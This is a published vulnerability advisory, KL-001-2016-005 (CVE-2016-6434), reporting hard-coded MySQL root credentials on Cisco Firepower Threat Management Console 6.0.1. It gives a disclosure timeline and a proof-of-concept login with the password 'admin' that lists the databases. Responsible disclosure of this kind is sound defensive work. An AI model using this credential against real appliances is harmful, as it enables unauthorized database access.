Cisco Firepower Threat Management Console 6.0.1 - Hard-Coded MySQL Credentials

KL-001-2016-005 : Cisco Firepower Threat Management Console Hard-coded MySQL

Credentials



Title: Cisco Firepower Threat Management Console Hard-coded MySQL Credentials

Advisory ID: KL-001-2016-005

Publication Date: 2016.10.05

Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-005.txt





1. Vulnerability Details



     Affected Vendor: Cisco

     Affected Product: Firepower Threat Management Console

     Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)

     Platform: Embedded Linux

     CWE Classification: CWE-798: Use of Hard-coded Credentials

     Impact: Authentication Bypass

     CVE-ID: CVE-2016-6434



2. Vulnerability Description



     The root account for the local MySQL database has poor password

     complexity.





3. Technical Description



     root@firepower:/Volume/6.0.1# mysql -u root --password=admin

     Warning: Using a password on the command line interface can be insecure.

     Welcome to the MySQL monitor.  Commands end with ; or \g.

     Your MySQL connection id is 23348

     Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise

Server - Advanced Edition (Commercial)



     Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.



     Oracle is a registered trademark of Oracle Corporation and/or its

     affiliates. Other names may be trademarks of their respective

     owners.



     Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.



     mysql> show databases;

     +--------------------+

     | Database           |

     +--------------------+

     | information_schema |

     | Sourcefire         |

     | external_data      |

     | external_schema    |

     | mysql              |

     | performance_schema |

     | sfsnort            |

     +--------------------+

     7 rows in set (0.00 sec)



     mysql>



     Note that mysqld listens only on loopback, so a remote attacker

     would have to leverage some other condition to be able to reach

     the mysql daemon.



4. Mitigation and Remediation Recommendation



     The vendor has acknowledged this vulnerability

     but has not released a fix for the

     issue. Vendor acknowledgement available at:



https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc1



5. Credit



     This vulnerability was discovered by Matt Bergin (@thatguylevel)

     of KoreLogic, Inc.



6. Disclosure Timeline



     2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.

     2016.06.30 - Cisco acknowledges receipt of vulnerability report.

     2016.07.20 - KoreLogic and Cisco discuss remediation timeline for

                  this vulnerability and for 3 others reported in the

                  same product.

     2016.08.12 - 30 business days have elapsed since the vulnerability was

                  reported to Cisco.

     2016.09.02 - 45 business days have elapsed since the vulnerability was

                  reported to Cisco.

     2016.09.09 - KoreLogic asks for an update on the status of the

                  remediation efforts.

     2016.09.15 - Cisco confirms remediation is underway and soon to be

                  completed.

     2016.09.28 - Cisco informs KoreLogic that the acknowledgement details

                  will be released publicly on 2016.10.05.

     2016.10.05 - Public disclosure.



7. Proof of Concept



     See Technical Description





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